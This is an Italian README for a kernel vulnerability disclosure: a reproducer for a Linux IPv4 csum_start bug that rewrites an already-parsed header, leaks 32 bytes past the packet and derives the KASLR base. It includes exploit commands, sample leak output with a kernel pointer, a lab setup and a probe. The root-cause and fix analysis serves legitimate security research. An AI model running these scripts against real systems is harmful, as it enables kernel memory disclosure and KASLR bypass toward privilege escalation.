Riproduzione e analisi del bug di validazione csum_start di IPv4 su Linux (CVE-2026-99999): riscrittura dell'header, divulgazione di 32 byte dell'heap, leak oracle e sconfitta del KASLR.
English · 简体中文
Riproduzione del bug di validazione csum_start dell'IPv4 di Linux corretto da
6785011f8b16 ("ipv4: validate checksum_start before completing checksum").
Data l'esecuzione di codice all'interno di una VM guest, un processo non privilegiato su un
TAP preparato riscrive un'intestazione che il kernel ha già analizzato, quindi legge 32 byte oltre
i dati lineari del pacchetto.
| Precondizione | esecuzione di codice all'interno della VM guest — non remota, non pre-auth |
| Riprodotto su | 6.18.54.1-microsoft-standard-WSL2 |
| Kernel interessati | ogni release precedente alla correzione del relativo branch — KERNELS.md |
| Corretto in | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Correzione upstream | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Segnalato da | Paulos Yibelo (pwn.ai) |
| Precompilati | binari statici v1.0.0 |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
Il primo byte è 0x4f invece di 0x45 — versione 4, lunghezza dell'header di 15 word invece di 5. Gli otto byte a5 sono il marker che questo reproducer ha scritto nel frammento; tutto ciò che segue non fa parte del pacchetto. a9 cb 43 9e 88 ff ff si legge come 0xffff889e43cba9, un indirizzo della direct-map del kernel.
skb_checksum_help() trasforma i metadati del checksum in una scrittura:
write address = skb->head + csum_start + csum_offset
Niente prima della correzione verificava che csum_start si trovasse dopo l'header IPv4.
Il controllo di ammissione confronta l'offset del trasporto con una lunghezza minima dell'header
misurata a partire dall'attuale skb->data — una coordinata relativa al frame:
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
Per un frame di [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22
fa sì che skb_transport_offset() == 22 >= 20, quindi i metadati vengono accettati, mentre
la distanza reale dall'header di rete è 0. I due tag VLAN vengono
rimossi nel percorso di ricezione, quindi la coordinata relativa al frame sopravvive fino al livello L3
e la scrittura differita finisce su version/ihl.
L'ordinamento è l'altra metà della questione. ip_do_fragment() ha completato il checksum in sospeso
prima di leggere iph->ihl:
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
L'header è stato validato come 20 byte; il consumer legge 15 word dalla stessa
memoria. skb_checksum_help() non è la causa — è stato permesso ai metadati di
descrivere un pacchetto diverso da quello che esiste.
La correzione aggiunge un limite relativo alla rete e lo invoca prima di ogni punto di completamento:
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
Con C = csum_start, N = network_header, H = ip_hdrlen e O >= 0,
richiedere C >= N + H significa che la scrittura C + O non può più raggiungere l'header.
Container privilegiato su un kernel vulnerabile (il kernel è ciò che conta):
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
Su un host di test bare-metal o su una VM: sudo sh lab/setup.sh, quindi eseguire gli stessi
comandi come root in quel network namespace. Richiede /dev/net/tun,
nf_conntrack, nf_defrag_ipv4, ip e nft.
lab/setup.sh crea un TAP per l'injection e una coppia di veth per l'egress:
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
La regola ct di nft registra nf_defrag_ipv4, quindi i due frammenti vengono riassemblati prima che il percorso di forwarding li frammenti di nuovo. Qualsiasi cosa che rientri su pwnv1 viene scartata. lab/teardown.sh rimuove tutto.
Il frammento con offset 0 trasporta 8 byte, quindi dopo il riassemblaggio l'intestazione lineare logica è di 20 + 8 = 28 byte, mentre il frammentatore copia ihl * 4 = 60:
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), quindi --head 40 è il caso di controllo (nessun byte attraversa
il confine) e --head 8 produce la divulgazione di 32 byte.
Sul percorso slab la coda viene azzerata da CONFIG_INIT_ON_ALLOC_DEFAULT_ON e la
perdita viene letta come 00. --page sposta la testa dello skb su un page_frag riciclato,
dove la coda contiene ancora ciò che la pagina conteneva prima.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py confronta un datagramma di controllo con metadati di checksum ben formati con uno il cui csum_start si trova sull'header IPv4: header riscritto → vulnerabile, test scartato dalla guardia → corretto, nulla catturato → problema di laboratorio. leak.py ripete l'over-read, estrae i puntatori canonici del kernel e deriva la base KASLR della physmap.